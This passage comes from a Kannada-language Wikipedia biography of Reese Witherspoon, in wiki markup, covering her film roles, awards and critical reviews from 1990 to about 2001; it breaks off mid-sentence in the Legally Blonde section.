ಆರಂಭಿಕ ವೃತ್ತಿ (1990–1998) === 1990ರಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಕೆಲವು ಮಿತ್ರರೊಂದಿಗೆ, '''[[ದಿ ಮ್ಯಾನ್‌ ಇನ್ ದಿ ಮೂನ್‌]]'' 'ಗಾಗಿ ಮುಕ್ತ ಪಾತ್ರಪರೀಕ್ಷೆಗೆ ಹಾಜರಾದರು. ಸಣ್ಣ ಪಾತ್ರಕ್ಕಾಗಿ ಅಭಿನಯಪರೀಕ್ಷೆಗೆ ಹಾಜರಾಗುವುದು ಇವರ ಇಂಗಿತವಾಗಿತ್ತು.<ref name="talent"/> ಆದರೆ, ಅವರಿಗೆ ಡ್ಯಾನಿ ಟ್ರ್ಯಾಂಟ್‌ ಎಂಬ ಪ್ರಮುಖ ಪಾತ್ರ ಲಭಿಸಿತು. ಹದಿನಾಲ್ಕರ ವಯಸ್ಸಿನ ಹಳ್ಳಿಗಾಡಿನ ಹುಡುಗಿಯ ಈ ಪಾತ್ರದಲ್ಲಿ ತನ್ನ ಹದಿನೇಳು ವರ್ಷ ವಯಸ್ಸಿನ ನೆರೆಮನೆಯ ಹುಡುಗನೊಂದಿಗೆ ಮೊದಲ ಬಾರಿಗೆ ಪ್ರೇಮದಲ್ಲಿ ಸಿಲುಕುತ್ತಾಳೆ. ''[[ವೆರೈಟಿ]]'' ಪತ್ರಿಕೆಯು ಈ ಪಾತ್ರವನ್ನು "ಮನಮುಟ್ಟುವಂತಹದ್ದು" ಎಂದು ಬಣ್ಣಿಸಿತು.<ref name="fear">{{cite web|author=Levy, Emanuel|date= 1996-05-08|title= Fear (review)|publisher=[[Variety magazine|Variety]]|url=http://www.variety.com/review/VE1117905141.html?categoryid=31&cs=1&query=%22reese+witherspoon%22|accessdate=2007-11-10}}</ref> 'ರೀಸ್‌ರ ಮೊದಲ ಚುಂಬನದ ದೃಶ್ಯವು, ನಾನು ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ನೋಡಿರುವ ಅತ್ಯಂತ ಪರಿಪೂರ್ಣ ಸಣ್ಣ ದೃಶ್ಯ' ಎಂದು ವಿಮರ್ಶಕ [[ರೊಜರ್‌ ಎಬರ್ಟ್‌]] ಪ್ರತಿಕ್ರಿಯಿಸಿದ್ದಾರೆ.<ref name="tiscali2"/> ಈ ಪಾತ್ರಕ್ಕಾಗಿ, ರೀಸ್‌ಗೆ [[ಯುವ ಕಲಾವಿದೆ ಪ್ರಶಸ್ತಿ‌]]ಗಾಗಿ ಅತ್ಯುತ್ತಮ ಕಿರಿಯ ನಟಿ ನಾಮನಿರ್ದೇಶನ ಗಳಿಸಿಕೊಂಡರು.<ref name="award 13th">{{cite web|url=http://www.youngartistawards.org/pastnoms13.htm|title=Thirteenth Annual Youth in Film Awards|publisher=[[Young Artist Award|youngartistawards.org]]|accessdate=2007-07-04}}</ref> ಆನಂತರ ಇದೇ ವರ್ಷದಲ್ಲಿ, ಅವರು ಕೇಬಲ್‌ ಚಲನಚಿತ್ರ ''ವೈಲ್ಡ್‌ಫ್ಲಾವರ್‌'' ಮೂಲಕ ತಮ್ಮ ಕಿರುತೆರೆ ನಟನೆಯನ್ನು ಆರಂಭಿಸಿದರು. [[ಡಿಯೇನ್‌ ಕೀಟನ್‌]] ನಿರ್ದೇಶಿಸಿದ ಈ ಚಲನಚಿತ್ರದಲ್ಲಿ [[ಪ್ಯಾಟ್ರಿಷಿಯಾ ಆರ್ಕ್ವೆಟ್‌]] ನಟಿಸಿದ್ದರು.<ref name="movieyahoo"/><ref name="newsindependent"/> ಇಸವಿ 1992ರಲ್ಲಿ ರೀಸ್ ''ಡೆಸ್ಪೆರೇಟ್‌ ಚಾಯ್ಸಸ್‌: ಟು ಸೇವ್‌ ಮೈ ಚೈಲ್ಡ್‌'' ಎಂಬ ಕಿರುತೆರೆಯ ಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದರು. ಇದರಲ್ಲಿ ಅವರದ್ದು ಗಂಭೀರವಾಗಿ ಅಸ್ವಸ್ಥಳಾದ ಹುಡುಗಿಯೊಬ್ಬಳ ಪಾತ್ರವಾಗಿತ್ತು.<ref name="movieyahoo"/> ಇಸವಿ 1993ರಲ್ಲಿ, [[CBS]]ಕಿರುಸರಣಿ ''ರಿಟರ್ನ್‌ ಟು [[ಲೋನ್ಸಮ್‌ ಡವ್‌]] '' ನಲ್ಲಿ ಕಿರಿವಯಸ್ಸಿನ ಪತ್ನಿಯ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದರು. ನಂತರ, ಹದಿಹರೆಯದವರನ್ನು ಗುರಿಯಾಗಿಟ್ಟುಕೊಂಡ [[ಡಿಸ್ನಿ]] ಸಂಸ್ಥೆಯು ನಿರ್ಮಿಸಿದ ಚಲನಚಿತ್ರ ''[[ಎ ಫಾರ್‌-ಆಫ್‌ ಪ್ಲೇಸ್‌]]'' ನಲ್ಲಿ, ನೊನೀ ಪಾರ್ಕರ್‌ ಎಂಬ ಪ್ರಮುಖ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದರು. [[ಕಲಹರಿ]] ಮರುಭೂಮಿಯನ್ನು ದಾಟಬೇಕಾದ ದಕ್ಷಿಣ ಆಫ್ರಿಕಾದ ಹುಡುಗಿಯ {{convert|1250|mi|km|-2}}ಪಾತ್ರವಿದಾಗಿತ್ತು.<ref name="movieyahoo"/> ಇದೇ ವರ್ಷ, ''[[ಜ್ಯಾಕ್ ದಿ ಬೆಯರ್‌]]'' ಚಲನಚಿತ್ರದಲ್ಲಿ ಸಣ್ಣ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದ್ದರು. ಈ ಪಾತ್ರಕ್ಕಾಗಿ ಅವರಿಗೆ ಅತ್ಯುತ್ತಮ ಕಿರಿಯ ಸಹನಟಿಗಾಗಿ ಯುವ ಕಲಾವಿದೆ ಪ್ರಶಸ್ತಿ ಲಭಿಸಿತು.<ref name="award 15th">{{cite web|url=http://www.youngartistawards.org/pastnoms15.htm|title=Fifteenth Annual Youth in Film Awards|publisher=[[Young Artist Award|youngartistawards.org]]|accessdate=2007-07-04}}</ref> ಇದರ ಮುಂದಿನ ವರ್ಷ, 1994ರಲ್ಲಿ ತೆರೆಕಂಡ ಚಲನಚಿತ್ರ ''[[S.F.W.]]'' ನಲ್ಲಿ ವಿದರ್‌ಸ್ಪೂನ್, ವೆಂಡಿ ಫಿಸ್ಟರ್‌ ಎಂಬ ಇನ್ನೊಂದು ಪ್ರಮುಖ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದರು. [[ಜೆಫ್ರಿ ಲೆವಿ]] ಈ ಚಲನಚಿತ್ರವನ್ನು ನಿರ್ದೇಶಿಸಿದ್ದರು. ಇಸವಿ 1996ರಲ್ಲಿ, ಎರಡು ಅದ್ದೂರಿ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಅವರಿಗೆ ಪಾತ್ರಗಳನ್ನು ನೀಡಲಾಯಿತು. ''[[ಫಿಯರ್‌]]'' ಎಂಬ ರೋಮಾಂಚಕ-ಕಥೆಯ ಚಲನಚಿತ್ರದಲ್ಲಿ ಅವರು[[ಮಾರ್ಕ್‌ ವಾಲ್ಬರ್ಗ್‌]] ಮತ್ತು [[ಅಲಿಸಾ ಮಿಲನೊ]]ನೊಂದಿಗೆ ನಿಕೋಲ್‌ ವಾಕರ್‌ ಎಂಬ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದರು. ಹಿಂಸಾ-ಪ್ರವೃತ್ತಿಯ ಮನೋವಿಕೃತ ವ್ಯಕ್ತಿಯೆಂದು ಕಂಡುಬರುವ ಸುಂದರ ಗೆಳೆಯನ ಜತೆ ಹದಿಹರೆಯದ ಹುಡುಗಿಯ ಪಾತ್ರವಾಗಿತ್ತು. ವಿಕೃತಹಾಸ್ಯಮಿಶ್ರಿತ ರೋಮಾಂಚಕ-ಕಥೆಯುಳ್ಳ ''[[ಫ್ರೀವೇ]]'' ಚಲನಚಿತ್ರದಲ್ಲಿಯೂ ಸಹ ಅವರು [[ಕೀಫರ್‌ ಸದರ್ಲೆಂಡ್‌]] ಮತ್ತು [[ಬ್ರೂಕ್‌ ಷೀಲ್ಡ್ಸ್‌]]ರೊಂದಿಗೆ ನಾಯಕಿನಟಿಯಾಗಿದ್ದರು. ಅವರದ್ದು [[ಲಾಸ್‌ ಏಂಜಲ್ಸ್‌‌]]ನಲ್ಲಿ ವಾಸಿಸುವ ವ್ಯಾನೆಸಾ ಲುಟ್ಜ್‌ ಎಂಬ ಬಡ ಹುಡುಗಿಯ ಪಾತ್ರ. [[ಸ್ಟಾಕ್ಟನ್‌]]ನಲ್ಲಿರುವ ತನ್ನ ಅಜ್ಜಿಯ ಮನೆಗೆ ಹೋಗುತ್ತಿರುವಾಗ, ಒಬ್ಬ ಹೆದ್ದಾರಿ ಸರಣಿ ಹಂತಕ ಎದುರಾಗುತ್ತಾನೆ.<ref name="talent"/> ಪತ್ರಿಕಾ ವಲಯದವರಿಂದ ಈ ಚಲನಚಿತ್ರವು ಸಕಾರಾತ್ಮಕ ವಿಮರ್ಶೆಗಳನ್ನು ಗಳಿಸಿತು. ಇವುಗಳ ಪೈಕಿ, ''[[ಸ್ಯಾನ್‌ ಫ್ರಾನ್ಸಿಸ್ಕೊ ಕ್ರೋನಿಕಲ್]]'' ನ [[ಮಿಕ್‌ ಲಾಸೇಲ್‌]] ಪ್ರತಿಕ್ರಿಯಿಸುತ್ತಾ, 'ಟೆಕ್ಸನ್ ವಾಕ್‌ಶೈಲಿಯನ್ನು ಹೊಂದಿರುವ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್ ಪಾತ್ರವು ವಿಸ್ಮಯಕಾರಿ, ಒಂದಕ್ಕಿಂದ ಇನ್ನೊಂದು ವೈಪರೀತ್ಯದ ಸನ್ನಿವೇಶಗಳಲ್ಲಿ ಸಂಪೂರ್ಣ ನಂಬಲರ್ಹವಾಗಿದೆ' <ref>{{cite web|author=LaSalle, Mick|title=`Freeway's' Wild, Funny Ride |publisher=[[San Francisco Chronicle]]| url= http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/1996/08/23/DD13791.DTL|accessdate=2007-12-12}}</ref> ಈ ಸಾಧನೆಗಾಗಿ ಅವರಿಗೆ [[ಕಾಗ್ನ್ಯಾಕ್‌ ಪೊಲೀಸ್‌ ಚಲನಚಿತ್ರೋತ್ಸವ‌]]ದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ ಲಭಿಸಿತು. ಖ್ಯಾತ ಉದಯೋನ್ಮುಖ ನಟಿಯಾಗಿ ತಮ್ಮ ಸ್ಥಾನ ದೃಢಗೊಳಿಸಿದರು.<ref name="talent"/><ref>{{cite web|url=http://www.thebiographychannel.co.uk/biography_story/880:1804/1/Reese_Witherspoon.htm|title=Reese Witherspoon|publisher=[[The Biography Channel]]|accessdate=2007-07-04}}</ref> ಈ ಚಲನಚಿತ್ರದ ನಿರ್ಮಾಣವೂ ಸಹ ವಿದರ್‌ಸ್ಪೂನ್‌ಗೆ ಗಮನಾರ್ಹವಾದ ನಟನಾ ಅನುಭವ ನೀಡಿತು. 'ನನಗೆ ಅತಿಯಾದ ದಿಗಿಲು ಹುಟ್ಟಿಸಿದ ಚಲನಚಿತ್ರದ ಅಡಚಣೆಯಿಂದ ಪಾರಾದ ನಂತರ, ನಾನು ಏನು ಬೇಕಾದರೂ ಯತ್ನಿಸಬಹುದು ಎನಿಸಿತು' ಎಂದು ಅವರು ಹೇಳಿದರು.<ref name="commitment"/> 1997ರಲ್ಲಿ ''ಫ್ರೀವೇ'' ಚಲನಚಿತ್ರವು ಪೂರ್ಣಗೊಂಡ ನಂತರ, ಒಂದು ವರ್ಷದ ಕಾಲ ಪ್ರಮುಖ ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ನಟನೆಯಿಂದ ವಿರಾಮ ತೆಗೆದುಕೊಂಡ ಅವರು‌, ನಟ [[ರಯಾನ್‌ ಫಿಲಿಪ್‌]]ರೊಂದಿಗೆ ವಿಹಾರ ಆರಂಭಿದರು. ಇಸವಿ 1998ರಲ್ಲಿ ಬೆಳ್ಳಿಪರದೆಗೆ ಮರಳಿದ ವಿದರ್‌ಸ್ಪೂನ್''[[ಒವರ್ನೈಟ್‌ ಡೆಲಿವರಿ]]'' , ''[[ಪ್ಲೆಸೆಂಟ್ವಿಲ್‌]]'' ಮತ್ತು ''[[ಟ್ವೈಲೈಟ್‌]]'' ಎಂಬ ಮೂರು ಚಲನಚಿತ್ರಗಳಲ್ಲಿ ಪ್ರಮುಖ ಪಾತ್ರಗಳಲ್ಲಿ ಅಭಿನಯಿಸಿದರು.<ref name="newsindependent"/><ref name="spoonful"/> ''ಪ್ಲೆಸೆಂಟ್ವಿಲ್ಲೆ‌'' ಚಲನಚಿತ್ರದಲ್ಲಿ [[ಟೋಬಿ ಮ್ಯಾಗ್ವಯರ್‌]]ರೊಂದಿಗೆ ನಟಿಸಿದರು. 1990ರ ದಶಕದ ಹದಿಹರೆಯದ ಇಬ್ಬರು ರಕ್ತಸಂಬಂಧಿ ಮಕ್ಕಳಾಗಿ ಮಾಂತ್ರಿಕ ರೀತಿಯಲ್ಲಿ 1950ರ ದೂರದರ್ಶನ ಸರಣಿಯ ಸೆಟಿಂಗ್‌ಗೆ ರವಾನೆಯಾಗುವುದು ಈ ಚಲನಚಿತ್ರದ ಕಥಾವಸ್ತು. ರೂಪಗಳು, ಸಂಬಂಧಗಳು ಮತ್ತು ಖ್ಯಾತಿಯ ಕುರಿತು ಮುಖ್ಯವಾಗಿ ಕಾಳಜಿ ವಹಿಸುವ ಜೆನಿಫರ್‌ ಎಂಬ ಸಹೋದರಿಯ ಪಾತ್ರವನ್ನು ಅವರು ನಿರ್ವಹಿಸಿದರು. ರೀಸ್‌ರ ನಟನೆಯು ಉತ್ತಮ ವಿಮರ್ಶೆಗಳನ್ನು ಸಂಪಾದಿಸಿತಲ್ಲದೆ, ಬೆಸ್ಟ್‌ ಫಿಮೇಲ್‌ ಬ್ರೇಕ್‌ಥ್ರೂ ಪರ್ಫಾರ್ಮೆನ್ಸ್‌ (ನಟಿಯೊಬ್ಬಳಿಂದ ಅತ್ಯುತ್ತಮ ಅಸಾಧಾರಣಾ ನಟನೆ) ಗಾಗಿ ಯುವ ಹಾಲಿವುಡ್‌ ಪ್ರಶಸ್ತಿ ಗಳಿಸಿಕೊಂಡರು.<ref>{{cite web|url=http://uk.movies.yahoo.com/artists/w/Reese-Witherspoon/awards-135363.html|title=Reese Witherspoon Awards|publisher=uk.movies.yahoo.com|accessdate=2007-07-04}}</ref> ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಒಬ್ಬ ಅಸಾಧಾರಣ ನಟಿಯಾಗುವರೆಂಬ ದೃಢ ನಂಬಿಕೆಯಿತ್ತು ಎಂದು ನಿರ್ದೇಶಕ [[ಗ್ಯಾರಿ ರಾಸ್‌]] ತಿಳಿಸಿದ್ದಾರೆ.<ref name="commitment"/> === ಆರಂಭಿಕ ನಿರ್ಣಾಯಕ ಯಶಸ್ಸು (1999–2000) === 1999ರಲ್ಲಿ, ''[[ಬೆಸ್ಟ್‌ ಲೇಯ್ಡ್‌ ಪ್ಲ್ಯಾನ್ಸ್‌]]'' ಎಂಬ ನಾಟಕ-ಕಥೆಯುಳ್ಳ ಚಲನಚಿತ್ರದಲ್ಲಿ ರೀಸ್‌ [[ಅಲೆಸ್ಯಾಂಡ್ರೊ ನಿವೊಲಾ]]ರೊಂದಿಗೆ ನಟಿಸಿದರು. ಬೆಳವಣಿಗೆಗೆ ಯಾವುದೇ ಅವಕಾಶವಿಲ್ಲದ ಸಣ್ಣ ಪಟ್ಟಣದಿಂದ ಪರಾರಿಯಾಗಲು, ತನ್ನ ಪ್ರಿಯತಮನೊಂದಿಗೆ ಯೋಜನೆ ಹಾಕುವ ಲಿಸ್ಸಾ ಎಂಬ ಹುಡುಗಿಯ ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಿದ್ದರು.<ref name="movieyahoo"/> ಅದೇ ವರ್ಷ ಅವರು,ಹದಿನೆಂಟನೆಯ ಶತಮಾನ ಕಾಲದ ಫ್ರೆಂಚ್‌ ಕಾದಂಬರಿ ''[[ಲೆಸ್‌ ಲಿಯಾಸನ್ಸ್‌ ಡೇಂಜರೂಸಸ್‌]]'' ಅಧಾರಿತ ಆಧುನಿಕ ರೂಪಾಂತರದ ಚಲನಚಿತ್ರ ''[[ಕ್ರ್ಯೂಯಲ್ ಇನ್‌ಟೆನ್ಷನ್ಸ್‌]]'' ನಲ್ಲಿ [[ಸಾರಾ ಮಿಷೆಲ್‌ ಗೆಲ್ಲರ್‌]] ಮತ್ತು ರಯಾನ್‌ ಫಿಲಿಪ್‌ರೊಂದಿಗೆ ನಟಿಸಿದರು. ಆನೆಟ್‌ ಹಾರ್ಗ್ರೂವ್‌ ಪಾತ್ರದಲ್ಲಿ ಅವರ ನಿರ್ವಹಣೆಗೆ ''[[ಸ್ಯಾನ್‌ ಫ್ರಾನ್ಸಿಸ್ಕೊ ಕ್ರಾನಿಕಲ್‌]]'' ನಿಂದ ಪ್ರಶಂಸೆ ಸಂಪಾದಿಸಿದರು: 'ಕನಿಷ್ಠ ಆಡಂಬರದ ಪಾತ್ರದಲ್ಲಿ ಅವರು ವಿಶೇಷವಾಗಿ ಉತ್ತಮ ಅಭಿನಯ ನೀಡಿದ್ದಾರೆ. ಅಸಹಜ ಪೈಶಾಚಿಕ ಮುಖಗಳ ಸರಣಿಯನ್ನು ತೋರಿಸುವಂತೆ ಕರೆನೀಡಿದಾಗಲೂ ಕೂಡ ಅವನ್ನು ಚೆನ್ನಾಗಿ ನಿಭಾಯಿಸಿದ್ದಾರೆ.' <ref>{{cite web|title=``Dangerous Liaisons' Junior|date= 1999-03-05|author=Graham, Bob |publisher=[[San Francisco Chronicle]]| url= http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/1999/03/05/DD31451.DTL|accessdate=2007-12-06}}</ref> ಕಾಕತಾಳೀಯ ಎಂಬಂತೆ, ಈ ಚಲನಚಿತ್ರದ ಧ್ವನಿಮುದ್ರಿಕೆಗಾಗಿ [[ಮಾರ್ಸಿ ಪ್ಲೇಗ್ರೌಂಡ್‌]] ರಚಿಸಿದ [[ಸಂಗೀತದ ವೀಡಿಯೊ]]ದಲ್ಲಿ ಅವರು ಕಾಣಿಸಿಕೊಂಡರು. ಇದೇ ವರ್ಷ, 1998ರಲ್ಲಿ ಪ್ರಕಟವಾದ [[ಟಾಮ್‌ ಪೆರೊಟಾ]]ರ ''[[ಎಲೆಕ್ಷನ್‌]]'' ಕಾದಂಬರಿ ರೂಪಾಂತರದ ಚಲನಚಿತ್ರದಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಮತ್ತು [[ಮ್ಯಾಥ್ಯೂ ಬ್ರೊಡೆರಿಕ್‌]] ನಟಿಸಿದರು.<ref name="movieyahoo"/> ಇದರಲ್ಲಿ, ವಿದ್ಯಾರ್ಥಿ ಸಂಘದ ಅಧ್ಯಕ್ಷ ಸ್ಥಾನಕ್ಕೆ ಚುಣಾವಣೆಯಲ್ಲಿ ಸ್ಪರ್ಧಿಸುವ, ಅತ್ಯುತ್ತಮ ಸಾಧಕಿ, ಮಹತ್ವಾಕಾಂಕ್ಷಿ [[ಟ್ರೇಸಿ ಫ್ಲಿಕ್‌]] ಎಂಬ ಪಾತ್ರವನ್ನು ಅವರು ನಿಭಾಯಿಸಿದರು. ಈ ನಟನೆಗಾಗಿ ಅವರಿಗೆ ವಿಮರ್ಶಕರಿಂದ ವ್ಯಾಪಕ ಪ್ರಶಂಸೆ ಲಭಿಸಿತು. [[ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ರಾಷ್ಟ್ರೀಯ ಸಂಘ]] ಹಾಗೂ [[ಆನ್ಲೈನ್‌ ಚಲನಚಿತ್ರ ವಿಮರ್ಶಕರ ಸಂಘ]]ದಿಂದ ಅತ್ಯುತ್ತಮ ನಟಿ ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದ್ದಲ್ಲದೆ, ಪ್ರಥಮ [[ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌]]ನಾಮನಿರ್ದೇಶನ ಮತ್ತು [[ಇನ್ಡಿಪೆಂಡೆಂಟ್ ಸ್ಪಿರಿಟ್‌ ಪ್ರಶಸ್ತಿ‌]] ನಾಮನಿರ್ದೇಶನ ಗಳಿಸಿಕೊಂಡರು.<ref>{{cite web|title=Reese Witherspoon Award|publisher=[[Yahoo! Movies]]|url=https://movies.yahoo.com/movie/contributor/1800018812/awards|accessdate=2007-11-10|archive-date=2007-06-30|archive-url=https://web.archive.org/web/20070630043657/http://movies.yahoo.com/movie/contributor/1800018812/awards|url-status=dead}}</ref><ref>{{cite web|url=http://64.71.180.171/spiritawards/past_nominees_filmbyyear.php|title=Past Nominees&nbsp;–Best Actress|publisher=[[Independent Spirit Award|filmindependent.org]]|accessdate=2007-10-04}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ''[[ಪ್ರೀಮಿಯರ್‌]]'' ನ ''100 ಸರ್ವಕಾಲಿಕ ಚಲನಚಿತ್ರ ನಿರ್ವಹಣೆಗಳ'' ಪಟ್ಟಿಯಲ್ಲಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಸ್ಥಾನ ಪಡೆದುಕೊಂಡರು.<ref>{{cite web|url=http://www.filmsite.org/100greatperformances3.html|title=100 Greatest Movie Performances of All Time|publisher=[[Filmsite.org]]|accessdate=2007-07-04}}</ref> ಅಕಾಡೆಮಿ ಪ್ರಶಸ್ತಿ ಪುರಸ್ಕೃತ ನಿರ್ದೇಶಕ [[ಅಲೆಕ್ಸ್ಯಾಂಡರ್‌ ಪೇಯ್ನ್‌]] ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ರನ್ನು ಈ ರೀತಿ ಪ್ರಶಂಸಿಸಿದರು: 'ಪುರುಷರು ಆಕರ್ಷಿತರಾಗುವ ಗುಣಗಳು ಅವರಲ್ಲಿದೆ, ಸ್ತ್ರೀಯರು ಅವರ ಸ್ನೇಹಿತೆಯಾಗಿರಲು ಬಯಸುತ್ತಾರೆ. ಆದರೆ, ಇದು ಕೇವಲ ಮೂಲಾಧಾರವಷ್ಟೇ. ಈ ರೀತಿಯ ಪ್ರಭಾವೀ ಮೋಹಕ-ಗುಣ ಮತ್ತು ಹಾಸ್ಯಪ್ರಜ್ಞೆ ಇನ್ಯಾರಲ್ಲೂ ಇಲ್ಲ. ರೀಸ್‌ ಯಾವುದೇ ರೀತಿಯ ನಟನೆಯನ್ನೂ ಮಾಡಬಹುದು.'<ref name="sweethome"/> ಅವರದ್ದು ಯಶಸ್ವೀ ನಟನೆಯಾದರೂ ಸಹ, [[ಒಂದೇ ರೀತಿಯ ಪಾತ್ರಗಳಿಗೆ]]ಗುರುತಿಸಲಾದ ಕಾರಣ,ಚಿತ್ರ ಮುಗಿದ ಕೂಡಲೇ ಕೆಲಸ ಸಂಪಾದಿಸಿಕೊಳ್ಳಲು ಹೋರಾಡಬೇಕಾಯಿತು ಎಂದು ರೀಸ್ ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ ತಿಳಿಸಿದ್ದಾರೆ.<ref>{{cite web|title=Playing It Straight (page 3)|author=Booth, William | date =2005-11-13| publisher= [[The Washington Post]] |url=http://www.washingtonpost.com/wp-dyn/content/article/2005/11/11/AR2005111100442_3.html|accessdate=2007-11-10}}</ref> ತಾವು ಪಾತ್ರಗಳನ್ನು ಗಿಟ್ಟಿಸಿಕೊಳ್ಳಲು ಪರದಾಡಬೇಕಾದ ಕಾರಣಗಳನ್ನು ರೀಸ್‌ ವಿಶ್ಲೇಷಿಸಿದರು. 'ನಾನು ನಿರ್ವಹಿಸಿದ ಪಾತ್ರವು ಬಹಳ ತೀವ್ರ ಹಾಗೂ ಗಯ್ಯಾಳಿ ಸ್ವಭಾವದ್ದಾಗಿದ್ದರಿಂದ-ತಾವು ಪಾತ್ರವನ್ನು ಸೃಷ್ಟಿಸುತ್ತಿದ್ದೇನೆಂಬ ಭಾವನೆ ಬದಲಿಗೆ ಜನರು ತಮ್ಮ ಸ್ವಭಾವವೇ ಹಾಗಿದೆಯೆಂದು ಭಾವಿಸಿದರು. ನಾನು ಪಾತ್ರಪರೀಕ್ಷೆಗಳಿಗೆ ಹಾಜರಾದರೂ, ಆದರೆ ನಾನು ಎಂದಿಗೂ ಎರಡನೇ ಆಯ್ಕೆಯಾಗಿದ್ದೆ. ಸ್ಟುಡಿಯೊಗಳು ನನ್ನನ್ನು ಸೇರಿಸಿಕೊಳ್ಳಲು ಇಷ್ಟಪಡುತ್ತಿರಲಿಲ್ಲ. ನಾನು ಪಾತ್ರಗಳನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತಿದ್ದದ್ದು ದೊಡ್ಡ ಗಲ್ಲಾಪೆಟ್ಟಿಗೆ ಯಶಸ್ಸಿನ ಮಹಾನ್‌ ನಟಿಯರಿಗಲ್ಲ, ಬದಲಿಗೆ, ಜನರು ವಿಭಿನ್ನ ರೀತಿಯಲ್ಲಿ ಭಾವಿಸಿದ ನಟಿಯರಿಗೆ.' <ref name="findarticles"/> ಇಸವಿ 2000ರಲ್ಲಿ ಅವರು ''[[ಅಮೆರಿಕನ್‌ ಸೈಕೊ]]'' ದಲ್ಲಿ ಪೋಷಕ ಪಾತ್ರ ಹಾಗೂ ''[[ಲಿಟ್ಲ್‌ ನಿಕ್ಕಿ]]'' ಯಲ್ಲಿ ಸಣ್ಣಪ್ರಮಾಣದ ಪಾತ್ರದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡರು.<ref name="spoonful">{{cite web|title=Spoonfuls of video treats|author=Booth, Philip|date=2003-02-06|publisher=[[St. Petersburg Times]]|url=http://www.sptimes.com/2003/02/06/Weekend/Spoonfuls_of_video_tr.shtml|accessdate=2007-11-10|archive-date=2007-12-28|archive-url=https://web.archive.org/web/20071228031118/http://www.sptimes.com/2003/02/06/Weekend/Spoonfuls_of_video_tr.shtml|url-status=dead}}</ref> ''[[ಫ್ರೆಂಡ್ಸ್‌]]'' ಕಿರುತೆರೆ ಸರಣಿಯ ಆರನೆಯ ಭಾಗದಲ್ಲಿ ರಿದರ್‌ಸ್ಪೂನ್[[ರಾಚೆಲ್‌ ಗ್ರೀನ್‌]]ನ ಸಹೋದರಿ ಜಿಲ್‌ ಗ್ರೀನ್‌ ಪಾತ್ರದಲ್ಲಿ ಅತಿಥಿನಟಿಯಾಗಿ ಕಾಣಿಸಿಕೊಂಡರು.<ref>{{cite web|title=Guest stars: The good, the bad, the twin sister|publisher=[[St. Petersburg Times]]|url=http://www.sptimes.com/2004/05/04/Floridian/Guest_stars__The_good.shtml|author=Deggans, Eric|date=2004-05-04|accessdate=2007-11-10|archive-date=2007-12-13|archive-url=https://web.archive.org/web/20071213124437/http://www.sptimes.com/2004/05/04/Floridian/Guest_stars__The_good.shtml|url-status=dead}}</ref> ಇದರ ತರುವಾಯ ವರ್ಷ, [[ಕ್ರೆಸ್ಟ್‌ ಆನಿಮೇಷನ್‌ ಪ್ರೊಡಕ್ಷನ್ಸ್‌]] ನಿರ್ಮಾಣದ ''[[ದಿ ಟ್ರಂಪೆಟ್‌ ಆಫ್‌ ದಿ ಸ್ವಾನ್‌]]'' ಆನಿಮೇಟೆಡ್‌ ಚಲನಚಿತ್ರದಲ್ಲಿ ಸೆರೆನಾ ಪಾತ್ರಕ್ಕೆ ಧ್ವನಿದಾನ ಮಾಡಿದರು. === ವಿಶ್ವವ್ಯಾಪಿ ಮನ್ನಣೆ (2001–2004) === ಇಸವಿ 2001 ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ರ ವೃತಿಯಲ್ಲಿ ಗಮನಾರ್ಹ ತಿರುವು ನೀಡಿತು. ಆ ವರ್ಷ ಅವರು ''[[ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌]]'' ಎಂಬ ಚಲನಚಿತ್ರದಲ್ಲಿ ನಟಿಸಿದರು. ತನ್ನ ಮಾಜಿ ಗೆಳೆಯನನ್ನು ಹಿಂಬಾಲಿಸಿಕೊಂಡು [[ಹಾರ್ವರ್ಡ್‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ]]ಕ್ಕೆ ಹೋಗಲು, ಕಾನೂನು ವಿದ್ಯಾರ್ಥಿನಿಯಾಗುವ ಇಂಗಿತ ಹೊತ್ತ ಎಲ್ಲೆ ವುಡ್ಸ್‌ ಎಂಬ ಫ್ಯಾಷನ್‌ ವ್ಯಾಪಾರಿ ಮಹಿಳೆಯ ಮುಖ್ಯ ಪಾತ್ರವನ್ನು ಅವರು ನಿರ್ವಹಿಸಿದರು. ವುಡ್ಸ್‌ ಪಾತ್ರದ ಬಗ್ಗೆ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್ ಮಾತನಾಡುತ್ತಾ: "ನಾನು ''ಲೀಗಲಿ ಬ್ಲೋಂಡ್‌'' ಓದಿದಾಗ, ನಾನು ಎಂದುಕೊಂಡದ್ದು, 'ಆಕೆ ಬೆವರಲಿ ಹಿಲ್ಸ್‌ನವಳು, ಶ್ರೀಮಂತ ಹುಡುಗಿ, ಮಹಿಳಾಸಮಾಜದಲ್ಲಿದ್ದಳು. ಆಕೆಗೊಬ್ಬ ಒಳ್ಳೆಯ 